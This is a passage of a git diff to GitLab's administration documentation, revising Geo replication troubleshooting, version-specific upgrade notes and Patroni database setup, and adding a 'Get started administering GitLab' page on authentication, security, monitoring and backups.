+to respect the CIDR format (that is, `1.2.3.4/32`).
### Message: `Found data in the gitlabhq_production database!` when running `gitlab-ctl replicate-geo-database`
@@ -588,6 +588,75 @@ to start again from scratch, there are a few steps that can help you:
gitlab-ctl start
```
+### Design repository failures on mirrored projects and project imports
+
+On the top bar, under **Menu >** **{admin}** **Admin > Geo > Nodes**,
+if the Design repositories progress bar shows
+`Synced` and `Failed` greater than 100%, and negative `Queued`, then the instance
+is likely affected by
+[a bug in GitLab 13.2 and 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/241668).
+It was [fixed in 13.4+](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40643).
+
+To determine the actual replication status of design repositories in
+a [Rails console](../../operations/rails_console.md):
+
+```ruby
+secondary = Gitlab::Geo.current_node
+counts = {}
+secondary.designs.select("projects.id").find_each do |p|
+ registry = Geo::DesignRegistry.find_by(project_id: p.id)
+ state = registry ? "#{registry.state}" : "registry does not exist yet"
+ # puts "Design ID##{p.id}: #{state}" # uncomment this for granular information
+ counts[state] ||= 0
+ counts[state] += 1
+end
+puts "\nCounts:", counts
+```
+
+Example output:
+
+```plaintext
+Design ID#5: started
+Design ID#6: synced
+Design ID#7: failed
+Design ID#8: pending
+Design ID#9: synced
+
+Counts:
+{"started"=>1, "synced"=>2, "failed"=>1, "pending"=>1}
+```
+
+Example output if there are actually zero design repository replication failures:
+
+```plaintext
+Design ID#5: synced
+Design ID#6: synced
+Design ID#7: synced
+
+Counts:
+{"synced"=>3}
+```
+
+#### If you are promoting a Geo secondary site running on a single server
+
+`gitlab-ctl promotion-preflight-checks` will fail due to the existence of
+`failed` rows in the `geo_design_registry` table. Use the
+[previous snippet](#design-repository-failures-on-mirrored-projects-and-project-imports) to
+determine the actual replication status of Design repositories.
+
+`gitlab-ctl promote-to-primary-node` will fail since it runs preflight checks.
+If the [previous snippet](#design-repository-failures-on-mirrored-projects-and-project-imports)
+shows that all designs are synced, then you can use the
+`--skip-preflight-checks` option or the `--force` option to move forward with
+promotion.
+
+#### If you are promoting a Geo secondary site running on multiple servers
+
+`gitlab-ctl promotion-preflight-checks` will fail due to the existence of
+`failed` rows in the `geo_design_registry` table. Use the
+[previous snippet](#design-repository-failures-on-mirrored-projects-and-project-imports) to
+determine the actual replication status of Design repositories.
+
## Fixing errors during a failover or when promoting a secondary to a primary node
The following are possible errors that might be encountered during failover or
@@ -726,6 +795,7 @@ sudo gitlab-ctl promotion-preflight-checks
sudo /opt/gitlab/embedded/bin/gitlab-pg-ctl promote
sudo gitlab-ctl reconfigure
sudo gitlab-rake geo:set_secondary_as_primary
+```
## Expired artifacts
@@ -794,7 +864,7 @@ PostgreSQL instances:
The most common problems that prevent the database from replicating correctly are:
-- **Secondary** nodes cannot reach the **primary** node. Check credentials, firewall rules, etc.
+- **Secondary** nodes cannot reach the **primary** node. Check credentials, firewall rules, and so on.
- SSL certificate problems. Make sure you copied `/etc/gitlab/gitlab-secrets.json` from the **primary** node.
- Database storage disk is full.
- Database replication slot is misconfigured.
diff --git a/doc/administration/geo/replication/updating_the_geo_nodes.md b/doc/administration/geo/replication/updating_the_geo_nodes.md
index 0c68adf162d..03570048071 100644
--- a/doc/administration/geo/replication/updating_the_geo_nodes.md
+++ b/doc/administration/geo/replication/updating_the_geo_nodes.md
@@ -28,9 +28,9 @@ and all **secondary** nodes:
1. **Optional:** [Pause replication on each **secondary** node.](../index.md#pausing-and-resuming-replication)
1. Log into the **primary** node.
-1. [Update GitLab on the **primary** node using Omnibus's Geo-specific steps](https://docs.gitlab.com/omnibus/update/README.html#geo-deployment).
+1. [Update GitLab on the **primary** node using Omnibus](https://docs.gitlab.com/omnibus/update/#update-using-the-official-repositories).
1. Log into each **secondary** node.
-1. [Update GitLab on each **secondary** node using Omnibus's Geo-specific steps](https://docs.gitlab.com/omnibus/update/README.html#geo-deployment).
+1. [Update GitLab on each **secondary** node using Omnibus](https://docs.gitlab.com/omnibus/update/#update-using-the-official-repositories).
1. If you paused replication in step 1, [resume replication on each **secondary**](../index.md#pausing-and-resuming-replication)
1. [Test](#check-status-after-updating) **primary** and **secondary** nodes, and check version in each.
diff --git a/doc/administration/geo/replication/usage.md b/doc/administration/geo/replication/usage.md
index 1491aa3427e..7fe8eec467e 100644
--- a/doc/administration/geo/replication/usage.md
+++ b/doc/administration/geo/replication/usage.md
@@ -27,7 +27,7 @@ Everything up-to-date
```
NOTE:
-If you're using HTTPS instead of [SSH](../../../ssh/README.md) to push to the secondary,
+If you're using HTTPS instead of [SSH](../../../ssh/index.md) to push to the secondary,
you can't store credentials in the URL like `user:password@URL`. Instead, you can use a
[`.netrc` file](https://www.gnu.org/software/inetutils/manual/html_node/The-_002enetrc-file.html)
for Unix-like operating systems or `_netrc` for Windows. In that case, the credentials
diff --git a/doc/administration/geo/replication/version_specific_updates.md b/doc/administration/geo/replication/version_specific_updates.md
index 301be931b29..e193fc630b9 100644
--- a/doc/administration/geo/replication/version_specific_updates.md
+++ b/doc/administration/geo/replication/version_specific_updates.md
@@ -11,16 +11,35 @@ Review this page for update instructions for your version. These steps
accompany the [general steps](updating_the_geo_nodes.md#general-update-steps)
for updating Geo nodes.
+## Updating to GitLab 13.12
+
+We found an issue where [secondary nodes re-download all LFS files](https://gitlab.com/gitlab-org/gitlab/-/issues/334550) upon update. This bug:
+
+- Only applies to Geo secondary sites that have replicated LFS objects.
+- Is _not_ a data loss risk.
+- Causes churn and wasted bandwidth re-downloading all LFS objects.
+- May impact performance for GitLab installations with a large number of LFS files.
+
+If you don't have many LFS objects or can stand a bit of churn, then it is safe to let the secondary sites re-download LFS objects.
+If you do have many LFS objects, or many Geo secondary sites, or limited bandwidth, or a combination of them all, then we recommend you skip GitLab 13.12.0 through 13.12.6 and update to GitLab 13.12.7 or newer.
+
+### If you have already updated to an affected version, and the re-sync is ongoing
+
+You can manually migrate the legacy sync state to the new state column by running the following command in a [Rails console](../../operations/rails_console.md). It should take under a minute:
+
+```ruby
+Geo::LfsObjectRegistry.where(state: 0, success: true).update_all(state: 2)
+```
+
## Updating to GitLab 13.11
-We found an [issue with Git clone/pull through HTTP(s)](https://gitlab.com/gitlab-org/gitlab/-/issues/330787) on Geo secondaries and on any GitLab instance if maintenance mode is enabled. This was caused by a regression in GitLab Workhorse. This is fixed in the [GitLab 13.11.4 patch release](https://about.gitlab.com/releases/2021/05/14/gitlab-13-11-4-released/). To avoid this issue, upgrade to GitLab 13.11.4 or later.
+We found an [issue with Git clone/pull through HTTP(s)](https://gitlab.com/gitlab-org/gitlab/-/issues/330787) on Geo secondaries and on any GitLab instance if maintenance mode is enabled. This was caused by a regression in GitLab Workhorse. This is fixed in the [GitLab 13.11.4 patch release](https://about.gitlab.com/releases/2021/05/14/gitlab-13-11-4-released/). To avoid this issue, upgrade to GitLab 13.11.4 or later.
## Updating to GitLab 13.9
We've detected an issue [with a column rename](https://gitlab.com/gitlab-org/gitlab/-/issues/324160)
-that may prevent upgrades to GitLab 13.9.0, 13.9.1, 13.9.2 and 13.9.3.
-We are working on a patch, but until a fixed version is released, you can manually complete
-the zero-downtime upgrade:
+that will prevent upgrades to GitLab 13.9.0, 13.9.1, 13.9.2 and 13.9.3 when following the zero-downtime steps. It is necessary
+to perform the following additional steps for the zero-downtime upgrade:
1. Before running the final `sudo gitlab-rake db:migrate` command on the deploy node,
execute the following queries using the PostgreSQL console (or `sudo gitlab-psql`)
@@ -40,9 +59,18 @@ the zero-downtime upgrade:
```
If you have already run the final `sudo gitlab-rake db:migrate` command on the deploy node and have
-encountered the [column rename issue](https://gitlab.com/gitlab-org/gitlab/-/issues/324160), you can still
-follow the previous steps to complete the update.
+encountered the [column rename issue](https://gitlab.com/gitlab-org/gitlab/-/issues/324160), you will
+see the following error:
+
+```shell
+-- remove_column(:application_settings, :asset_proxy_whitelist)
+rake aborted!
+StandardError: An error has occurred, all later migrations canceled:
+PG::DependentObjectsStillExist: ERROR: cannot drop column asset_proxy_whitelist of table application_settings because other objects depend on it
+DETAIL: trigger trigger_0d588df444c8 on table application_settings depends on column asset_proxy_whitelist of table application_settings
+```
+To work around this bug, follow the previous steps to complete the update.
More details are available [in this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/324160).
## Updating to GitLab 13.7
diff --git a/doc/administration/geo/setup/database.md b/doc/administration/geo/setup/database.md
index f6e72092a5f..bc4128deb4a 100644
--- a/doc/administration/geo/setup/database.md
+++ b/doc/administration/geo/setup/database.md
@@ -31,17 +31,17 @@ A single instance database replication is easier to set up and still provides th
as a clusterized alternative. It's useful for setups running on a single machine
or trying to evaluate Geo for a future clusterized installation.
-A single instance can be expanded to a clusterized version using Patroni, which is recommended for a
+A single instance can be expanded to a clusterized version using Patroni, which is recommended for a
highly available architecture.
-Follow below the instructions on how to set up PostgreSQL replication as a single instance database.
-Alternatively, you can look at the [Multi-node database replication](#multi-node-database-replication)
+Follow below the instructions on how to set up PostgreSQL replication as a single instance database.
+Alternatively, you can look at the [Multi-node database replication](#multi-node-database-replication)
instructions on setting up replication with a Patroni cluster.
### PostgreSQL replication
The GitLab **primary** node where the write operations happen connects to
-the **primary** database server, and **secondary** nodes
+the **primary** database server, and **secondary** nodes
connect to their own database servers (which are also read-only).
We recommend using [PostgreSQL replication slots](https://medium.com/@tk512/replication-slots-in-postgresql-b4b03d277c75)
@@ -112,13 +112,13 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o
# must be present in all application nodes.
gitlab_rails['db_password'] = '<your_password_here>'
```
-
+
1. Define a password for the database [replication user](https://wiki.postgresql.org/wiki/Streaming_Replication).
We will use the username defined in `/etc/gitlab/gitlab.rb` under the `postgresql['sql_replication_user']`
- setting. The default value is `gitlab_replicator`, but if you changed it to something else, adapt
+ setting. The default value is `gitlab_replicator`, but if you changed it to something else, adapt
the instructions below.
-
+
Generate a MD5 hash of the desired password:
```shell
@@ -462,10 +462,10 @@ data before running `pg_basebackup`.
- If PostgreSQL is listening on a non-standard port, add `--port=` as well.
- If your database is too large to be transferred in 30 minutes, you need
- to increase the timeout, e.g., `--backup-timeout=3600` if you expect the
+ to increase the timeout, for example, `--backup-timeout=3600` if you expect the
initial replication to take under an hour.
- Pass `--sslmode=disable` to skip PostgreSQL TLS authentication altogether
- (e.g., you know the network path is secure, or you are using a site-to-site
+ (for example, you know the network path is secure, or you are using a site-to-site
VPN). This is **not** safe over the public Internet!
- You can read more details about each `sslmode` in the
[PostgreSQL documentation](https://www.postgresql.org/docs/12/libpq-ssl.html#LIBPQ-SSL-PROTECTION);
@@ -484,12 +484,12 @@ The replication process is now complete.
### PgBouncer support (optional)
[PgBouncer](https://www.pgbouncer.org/) may be used with GitLab Geo to pool
-PostgreSQL connections, which can improve performance even when using in a
-single instance installation.
+PostgreSQL connections, which can improve performance even when using in a
+single instance installation.
-We recommend using PgBouncer if you use GitLab in a highly available
-configuration with a cluster of nodes supporting a Geo **primary** site and
-two other clusters of nodes supporting a Geo **secondary** site. One for the
+We recommend using PgBouncer if you use GitLab in a highly available
+configuration with a cluster of nodes supporting a Geo **primary** site and
+two other clusters of nodes supporting a Geo **secondary** site. One for the
main database and the other for the tracking database. For more information,
see [High Availability with Omnibus GitLab](../../postgresql/replication_and_failover.md).
@@ -505,7 +505,7 @@ If you still haven't [migrated from repmgr to Patroni](#migrating-from-repmgr-to
Patroni is the official replication management solution for Geo. It
can be used to build a highly available cluster on the **primary** and a **secondary** Geo site.
-Using Patroni on a **secondary** site is optional and you don't have to use the same amount of
+Using Patroni on a **secondary** site is optional and you don't have to use the same amount of
nodes on each Geo site.
For instructions about how to set up Patroni on the primary site, see the
@@ -515,13 +515,21 @@ For instructions about how to set up Patroni on the primary site, see the
In a Geo secondary site, the main PostgreSQL database is a read-only replica of the primary site’s PostgreSQL database.
-If you are currently using `repmgr` on your Geo primary site, see [these instructions](#migrating-from-repmgr-to-patroni) for migrating from `repmgr` to Patroni.
+If you are currently using `repmgr` on your Geo primary site, see [these instructions](#migrating-from-repmgr-to-patroni)
+for migrating from `repmgr` to Patroni.
+
+A production-ready and secure setup requires at least:
+
+- 3 Consul nodes _(primary and secondary sites)_
+- 2 Patroni nodes _(primary and secondary sites)_
+- 1 PgBouncer node _(primary and secondary sites)_
+- 1 internal load-balancer _(primary site only)_
+
+The internal load balancer provides a single endpoint for connecting to the Patroni cluster's leader whenever a new leader is
+elected, and it is required for enabling cascading replication from the secondary sites.
-A production-ready and secure setup requires at least three Consul nodes, three
-Patroni nodes, one internal load-balancing node on the primary site, and a similar
-configuration for the secondary site. The internal load balancer provides a single
-endpoint for connecting to the Patroni cluster's leader whenever a new leader is
-elected. Be sure to use [password credentials](../../postgresql/replication_and_failover.md#database-authorization-for-patroni) and other database best practices.
+Be sure to use [password credentials](../../postgresql/replication_and_failover.md#database-authorization-for-patroni)
+and other database best practices.
##### Step 1. Configure Patroni permanent replication slot on the primary site
@@ -542,12 +550,12 @@ Leader instance**:
```ruby
roles(['patroni_role'])
-
+
consul['services'] = %w(postgresql)
consul['configuration'] = {
retry_join: %w[CONSUL_PRIMARY1_IP CONSUL_PRIMARY2_IP CONSUL_PRIMARY3_IP]
}
-
+
# You need one entry for each secondary, with a unique name following PostgreSQL slot_name constraints:
#
# Configuration syntax is: 'unique_slotname' => { 'type' => 'physical' },
@@ -559,6 +567,8 @@ Leader instance**:
patroni['use_pg_rewind'] = true
patroni['postgresql']['max_wal_senders'] = 8 # Use double of the amount of patroni/reserved slots (3 patronis + 1 reserved slot for a Geo secondary).
patroni['postgresql']['max_replication_slots'] = 8 # Use double of the amount of patroni/reserved slots (3 patronis + 1 reserved slot for a Geo secondary).
+ patroni['username'] = 'PATRONI_API_USERNAME'
+ patroni['password'] = 'PATRONI_API_PASSWORD'
patroni['replication_password'] = 'PLAIN_TEXT_POSTGRESQL_REPLICATION_PASSWORD'
# We list all secondary instances as they can all become a Standby Leader
@@ -719,27 +729,41 @@ For each Patroni instance on the secondary site:
patroni['standby_cluster']['host'] = 'INTERNAL_LOAD_BALANCER_PRIMARY_IP'
patroni['standby_cluster']['port'] = INTERNAL_LOAD_BALANCER_PRIMARY_PORT
patroni['standby_cluster']['primary_slot_name'] = 'geo_secondary' # Or the unique replication slot name you setup before
+ patroni['username'] = 'PATRONI_API_USERNAME'
+ patroni['password'] = 'PATRONI_API_PASSWORD'
patroni['replication_password'] = 'PLAIN_TEXT_POSTGRESQL_REPLICATION_PASSWORD'
patroni['use_pg_rewind'] = true
patroni['postgresql']['max_wal_senders'] = 5 # A minimum of three for one replica, plus two for each additional replica
patroni['postgresql']['max_replication_slots'] = 5 # A minimum of three for one replica, plus two for each additional replica
-
+
postgresql['pgbouncer_user_password'] = 'PGBOUNCER_PASSWORD_HASH'
postgresql['sql_replication_password'] = 'POSTGRESQL_REPLICATION_PASSWORD_HASH'
postgresql['sql_user_password'] = 'POSTGRESQL_PASSWORD_HASH'
postgresql['listen_address'] = '0.0.0.0' # You can use a public or VPC address here instead
-
+
gitlab_rails['dbpassword'] = 'POSTGRESQL_PASSWORD'
gitlab_rails['enable'] = true
gitlab_rails['auto_migrate'] = false
```
1. Reconfigure GitLab for the changes to take effect.
- This is required to bootstrap PostgreSQL users and settings:
+ This is required to bootstrap PostgreSQL users and settings.
- ```shell
- gitlab-ctl reconfigure
- ```
+ - If this is a fresh installation of Patroni:
+
+ ```shell
+ gitlab-ctl reconfigure
+ ```
+
+ - If you are configuring a Patroni standby cluster on a site that previously had a working Patroni cluster:
+
+ ```shell
+ gitlab-ctl stop patroni
+ rm -rf /var/opt/gitlab/postgresql/data
+ /opt/gitlab/embedded/bin/patronictl -c /var/opt/gitlab/patroni/patroni.yaml remove postgresql-ha
+ gitlab-ctl reconfigure
+ gitlab-ctl start patroni
+ ```
### Migrating from repmgr to Patroni
@@ -769,17 +793,17 @@ by following the same instructions above.
Secondary sites use a separate PostgreSQL installation as a tracking database to
keep track of replication status and automatically recover from potential replication issues.
Omnibus automatically configures a tracking database when `roles(['geo_secondary_role'])` is set.
-If you want to run this database in a highly available configuration, follow the instructions below.
-A production-ready and secure setup requires at least three Consul nodes, three
-Patroni nodes on the secondary site secondary site. Be sure to use [password credentials](../../postgresql/replication_and_failover.md#database-authorization-for-patroni) and other database best practices.
+If you want to run this database in a highly available configuration, don't use the `geo_secondary_role` above.
+Instead, follow the instructions below.
-#### Step 1. Configure a PgBouncer node on the secondary site
+A production-ready and secure setup requires at least three Consul nodes, two
+Patroni nodes and one PgBouncer node on the secondary site.
-A production-ready and highly available configuration requires at least
-three Consul nodes, three PgBouncer nodes, and one internal load-balancing node.
-The internal load balancer provides a single endpoint for connecting to the
-PgBouncer cluster. For more information, see [High Availability with Omnibus GitLab](../../postgresql/replication_and_failover.md).
+Be sure to use [password credentials](../../postgresql/replication_and_failover.md#database-authorization-for-patroni)
+and other database best practices.
+
+#### Step 1. Configure a PgBouncer node on the secondary site
Follow the minimal configuration for the PgBouncer node for the tracking database:
@@ -880,6 +904,8 @@ For each Patroni instance on the secondary site for the tracking database:
]
# Patroni configuration
+ patroni['username'] = 'PATRONI_API_USERNAME'
+ patroni['password'] = 'PATRONI_API_PASSWORD'
patroni['replication_password'] = 'PLAIN_TEXT_POSTGRESQL_REPLICATION_PASSWORD'
patroni['postgresql']['max_wal_senders'] = 5 # A minimum of three for one replica, plus two for each additional replica
diff --git a/doc/administration/geo/setup/external_database.md b/doc/administration/geo/setup/external_database.md
index 9e187424afa..3ec84f1268b 100644
--- a/doc/administration/geo/setup/external_database.md
+++ b/doc/administration/geo/setup/external_database.md
@@ -57,7 +57,7 @@ developed and tested. We aim to be compatible with most external
To set up an external database, you can either:
-- Set up [streaming replication](https://www.postgresql.org/docs/12/warm-standby.html#STREAMING-REPLICATION-SLOTS) yourself (for example AWS RDS, bare metal not managed by Omnibus, etc.).
+- Set up [streaming replication](https://www.postgresql.org/docs/12/warm-standby.html#STREAMING-REPLICATION-SLOTS) yourself (for example AWS RDS, bare metal not managed by Omnibus, and so on).
- Perform the Omnibus configuration manually as follows.
#### Leverage your cloud provider's tools to replicate the primary database
@@ -208,8 +208,8 @@ the tracking database on port 5432.
1. Set up PostgreSQL according to the
[database requirements document](../../../install/requirements.md#database).
1. Set up a `gitlab_geo` user with a password of your choice, create the `gitlabhq_geo_production` database, and make the user an owner of the database. You can see an example of this setup in the [installation from source documentation](../../../install/installation.md#6-database).
-1. If you are **not** using a cloud-managed PostgreSQL database, ensure that your secondary
- node can communicate with your tracking database by manually changing the
+1. If you are **not** using a cloud-managed PostgreSQL database, ensure that your secondary
+ node can communicate with your tracking database by manually changing the
`pg_hba.conf` that is associated with your tracking database.
Remember to restart PostgreSQL afterwards for the changes to take effect:
diff --git a/doc/administration/geo/setup/index.md b/doc/administration/geo/setup/index.md
index 1afa4360cbc..84dff69ebe7 100644
--- a/doc/administration/geo/setup/index.md
+++ b/doc/administration/geo/setup/index.md
@@ -9,24 +9,24 @@ type: howto
These instructions assume you have a working instance of GitLab. They guide you through:
-1. Making your existing instance the **primary** node.
-1. Adding **secondary** nodes.
+1. Making your existing instance the **primary** site.
+1. Adding **secondary** site(s).
WARNING:
-The steps below should be followed in the order they appear. **Make sure the GitLab version is the same on all nodes.**
+The steps below should be followed in the order they appear. **Make sure the GitLab version is the same on all sites.**
## Using Omnibus GitLab
If you installed GitLab using the Omnibus packages (highly recommended):
-1. [Install GitLab Enterprise Edition](https://about.gitlab.com/install/) on the server that will serve as the **secondary** node. Do not create an account or log in to the new **secondary** node.
-1. [Upload the GitLab License](../../../user/admin_area/license.md) on the **primary** node to unlock Geo. The license must be for [GitLab Premium](https://about.gitlab.com/pricing/) or higher.
+1. [Install GitLab Enterprise Edition](https://about.gitlab.com/install/) on the node(s) that will serve as the **secondary** site. Do not create an account or log in to the new **secondary** site.
+1. [Upload the GitLab License](../../../user/admin_area/license.md) on the **primary** site to unlock Geo. The license must be for [GitLab Premium](https://about.gitlab.com/pricing/) or higher.
1. [Set up the database replication](database.md) (`primary (read-write) <-> secondary (read-only)` topology).
-1. [Configure fast lookup of authorized SSH keys in the database](../../operations/fast_ssh_key_lookup.md). This step is required and needs to be done on **both** the **primary** and **secondary** nodes.
-1. [Configure GitLab](../replication/configuration.md) to set the **primary** and **secondary** nodes.
-1. Optional: [Configure a secondary LDAP server](../../auth/ldap/index.md) for the **secondary** node. See [notes on LDAP](../index.md#ldap).
+1. [Configure fast lookup of authorized SSH keys in the database](../../operations/fast_ssh_key_lookup.md). This step is required and needs to be done on **both** the **primary** and **secondary** site(s).
+1. [Configure GitLab](../replication/configuration.md) to set the **primary** and **secondary** site(s).
+1. Optional: [Configure a secondary LDAP server](../../auth/ldap/index.md) for the **secondary** site(s). See [notes on LDAP](../index.md#ldap).
1. Follow the [Using a Geo Site](../replication/usage.md) guide.
## Post-installation documentation
-After installing GitLab on the **secondary** nodes and performing the initial configuration, see the [following documentation for post-installation information](../index.md#post-installation-documentation).
+After installing GitLab on the **secondary** site(s) and performing the initial configuration, see the [following documentation for post-installation information](../index.md#post-installation-documentation).
diff --git a/doc/administration/get_started.md b/doc/administration/get_started.md
new file mode 100644
index 00000000000..a9ac8b279de
--- /dev/null
+++ b/doc/administration/get_started.md
@@ -0,0 +1,291 @@
+---
+stage:
+group:
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Get started administering GitLab **(FREE)**
+
+Get started with GitLab administration. Configure your organization and its authentication, then secure, monitor,
+and back up GitLab.
+
+## Authentication
+
+Authentication is the first step in making your installation secure.
+
+- [Enforce two-factor authentication (2FA) for all users](../security/two_factor_authentication.md). We highly recommended 2FA for self-managed instances.
+- Ensure users do the following:
+ - Choose a strong, secure password. If possible, store it in a password management system.
+ - If it is not configured for everyone, enable [two-factor authentication (2FA)](../user/profile/account/two_factor_authentication.md) for your account.
+ This one-time secret code is an additional safeguard that keeps intruders out, even if they have your password.
+ - Add a backup email. If you lose access to your account, the GitLab Support team can help you more quickly.
+ - Save or print your recovery codes. If you can't access your authentication device, you can use these recovery codes to sign in to your GitLab account.
+ - Add [an SSH key](../ssh/index.md) to your profile. You can generate new recovery codes as needed with SSH.
+ - Enable [personal access tokens](../user/profile/personal_access_tokens.md). When using 2FA, you can use these tokens to access the GitLab API.
+
+## Projects and groups
+
+Organize your environment by configuring your groups and projects.
+
+- [Projects](../user/project/working_with_projects.md): Designate a home for your files and code or track and organize issues in a business category.
+- [Groups](../user/group/index.md): Organize a collection of users or projects. Use these groups to quickly assign people and projects.
+- [Roles](../user/permissions.md): Define user access and visibility for your projects and groups.
+
+<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
+Watch an overview of [groups and projects](https://www.youtube.com/watch?v=cqb2m41At6s).
+
+Get started:
+
+- Create a [project](../user/project/working_with_projects.md#create-a-project).
+- Create a [group](../user/group/index.md#create-a-group).
+- [Add members](../user/group/index.md#add-users-to-a-group) to the group.
+- Create a [subgroup](../user/group/subgroups/index.md#creating-a-subgroup).
+- [Add members](../user/group/subgroups/index.md#membership) to the subgroup.
+- Enable [external authorization control](../user/admin_area/settings/external_authorization.md#configuration).
+
+**More resources**
+
+- Learn more about [running multiple Agile teams](https://www.youtube.com/watch?v=VR2r1TJCDew).
+- Sync group memberships [by using LDAP](../administration/auth/ldap/index.md#group-sync).
+- Manage user access with inherited permissions. Use up to 20 levels of subgroups to organize both teams and projects.
+ - Learn more about [inherited permissions](../user/project/members/index.md#inherited-membership).
+ - View [nested category examples](../user/group/subgroups/index.md#overview).
+
+## Import projects
+
+You may need to import projects from external sources like GitHub, Bitbucket, or another instance of GitLab. Many external sources can be imported into GitLab.
+
+- Review the [GitLab projects documentation](../user/project/index.md#project-integrations).
+- Consider [repository mirroring](../user/project/repository/repository_mirroring.md)—an [alternative to project migrations](../ci/ci_cd_for_external_repos/index.md).
+- Check out our [migration index](../user/project/import/index.md) for documentation on common migration paths.
+- Schedule your project exports with our [import/export API](../api/project_import_export.md#schedule-an-export).
+
+### Popular project imports
+
+- [GitHub Enterprise to self-managed GitLab](../integration/github.md#enabling-github-oauth): Enabling OAuth makes it easier for developers to find and import their projects.
+- [Bitbucket Server](../user/project/import/bitbucket_server.md#limitations): There are certain data limitations.
+ For assistance with these data types, contact your GitLab account manager or GitLab Support about our professional migration services.
+
+## GitLab instance security
+
+Security is an important part of the onboarding process. Securing your instance protects your work and your organization.
+
+While this isn't an exhaustive list, following these steps gives you a solid start for securing your instance.
+
+- Use a long root password, stored in a vault.
+- Install trusted SSL certificate and establish a process for renewal and revocation.
+- [Configure SSH key restrictions](../security/ssh_keys_restrictions.md#restrict-allowed-ssh-key-technologies-and-minimum-length) per your organization's guidelines.
+- [Disable new sign-ups](../user/admin_area/settings/sign_up_restrictions.md#disable-new-sign-ups).
+- Require email confirmation.
+- Set password length limit, configure SSO or SAML user management.
+- Limit email domains if allowing sign-up.
+- Require two-factor authentication (2FA).
+- [Disable password authentication](../user/admin_area/settings/sign_in_restrictions.md#password-authentication-enabled) for Git over HTTPS.
+- Set up [email notification for unknown sign-ins](../user/admin_area/settings/sign_in_restrictions.md#email-notification-for-unknown-sign-ins).
+- Configure [user and IP rate limits](https://about.gitlab.com/blog/2020/05/20/gitlab-instance-security-best-practices/#user-and-ip-rate-limits).
+- Limit [webhooks local access](https://about.gitlab.com/blog/2020/05/20/gitlab-instance-security-best-practices/#webhooks).
+- Set [rate limits for protected paths](../user/admin_area/settings/protected_paths.md).
+
+## Monitor GitLab performance
+
+After you've established your basic setup, you're ready to review the GitLab monitoring services. Prometheus is our core performance monitoring tool.
+Unlike other monitoring solutions (for example, Zabbix or New Relic), Prometheus is tightly integrated with GitLab and has extensive community support.
+
+- [Prometheus](../administration/monitoring/prometheus/index.md) captures
+ [these GitLab metrics](../administration/monitoring/prometheus/gitlab_metrics.md#metrics-available).
+- Learn more about GitLab [bundled software metrics](../administration/monitoring/prometheus/index.md#bundled-software-metrics).
+- Prometheus and its exporters are on by default. However, you need to [configure the service](../administration/monitoring/prometheus/index.md#configuring-prometheus).
+- Learn more about [GitLab architecture](../development/architecture.md).
+- Find out why [application performance metrics](https://about.gitlab.com/blog/2020/05/07/working-with-performance-metrics/) matter.
+- Create a [self-monitoring project](../administration/monitoring/gitlab_self_monitoring_project/index.md) to track the health of your instance.
+- Integrate Grafana to [build visual dashboards](https://youtu.be/f4R7s0An1qE) based on performance metrics.
+
+### Components of monitoring
+
+- [Web servers](../administration/monitoring/prometheus/gitlab_metrics.md#puma-metrics): Handles server requests and facilitates other back-end service transactions.
+ Monitor CPU, memory, and network IO traffic to track the health of this node.
+- [Workhorse](../administration/monitoring/prometheus/gitlab_metrics.md#metrics-available): Alleviates web traffic congestion from the main server.
+ Monitor latency spikes to track the health of this node.
+- [Sidekiq](../administration/monitoring/prometheus/gitlab_metrics.md#sidekiq-metrics): Handles background operations that allow GitLab to run smoothly.
+ Monitor for long, unprocessed task queues to track the health of this node.
+
+## Back up your GitLab data
+
+GitLab provides backup methods to keep your data safe and recoverable. Whether you use a self-managed or a GitLab SaaS database, it's crucial to back up your data regularly.
+
+- Decide on a backup strategy.
+- Consider writing a cron job to make daily backups.
+- Separately backup the configuration files.
+- Decide what should be left out of the backup.
+- Decide where to upload the backups.
+- Limit backup lifetime.
+- Run a test backup and restore.
+- Set up a way to periodically verify the backups.
+
+### Back up a GitLab self-managed instance
+
+The routine differs, depending on whether you deployed with Omnibus or the Helm chart.
+
+When you backing up an Omnibus (single node) GitLab server, you can use a single Rake task.
+
+Learn about [backing up Omnibus or Helm variations](../raketasks/backup_restore.md#back-up-gitlab).
+This process backs up your entire instance, but does not back up the configuration files. Ensure those are backed up separately.
+Keep your configuration files and backup archives in a separate location to ensure the encryption keys are not kept with the encrypted data.
+
+#### Restore a backup
+
+You can restore a backup only to **the exact same version and type** (Community Edition/Enterprise Edition) of GitLab on which it was created.
+
+- Review the [Omnibus backup and restore documentation](https://docs.gitlab.com/omnibus/settings/backups).
+- Review the [Helm Chart backup and restore documentation](https://docs.gitlab.com/charts/backup-restore).
+
+### Back up GitLab SaaS
+
+Backups of GitLab databases and filesystems are taken every 24 hours, and are kept for two weeks on a rolling schedule. All backups are encrypted.
+
+- GitLab SaaS creates backups to ensure your data is secure, but you can't use these methods to export or back up your data yourself.
+- Issues are stored in the database. They can't be stored in Git itself.
+- You can use the project export option in:
+ - [The UI](../user/project/settings/import_export.md#exporting-a-project-and-its-data).
+ - [The API](../api/project_import_export.md#schedule-an-export).
+- [Group export](../user/group/settings/import_export.md) does *not* export the projects in it, but does export:
+ - Epics
+ - Milestones
+ - Boards
+ - Labels
+ - Additional items
+
+For more information about GitLab SaaS backups, see our [Backup FAQ page](https://about.gitlab.com/handbook/engineering/infrastructure/faq/#gitlabcom-backups).
+
+### Alternative backup strategies
+
+In some situations the Rake task for backups may not be the most optimal solution. Here are some
+[alternatives](../raketasks/backup_restore.md) to consider if the Rake task does not work for you.
+
+#### Option 1: File system snapshot
+
+If your GitLab server contains a lot of Git repository data, you may find the GitLab backup script to be too slow. It can be especially slow when backing up to an offsite location.
+
+Slowness typically starts at a Git repository data size of around 200 GB. In this case, you might consider using file system snapshots as part of your backup strategy.
+For example, consider a GitLab server with the following components:
+
+- Using Omnibus GitLab
+- Hosted on AWS with an EBS drive containing an ext4 file system mounted at `/var/opt/gitlab`.
+
+The EC2 instance meets the requirements for an application data backup by taking an EBS snapshot. The backup includes all repositories, uploads, and PostgreSQL data.
+
+In general, if you're running GitLab on a virtualized server, you can create VM snapshots of the entire GitLab server.
+It is common for a VM snapshot to require you to power down the server.
+
+#### Option 2: GitLab Geo
+
+Geo provides local, read-only instances of your GitLab instances.
+
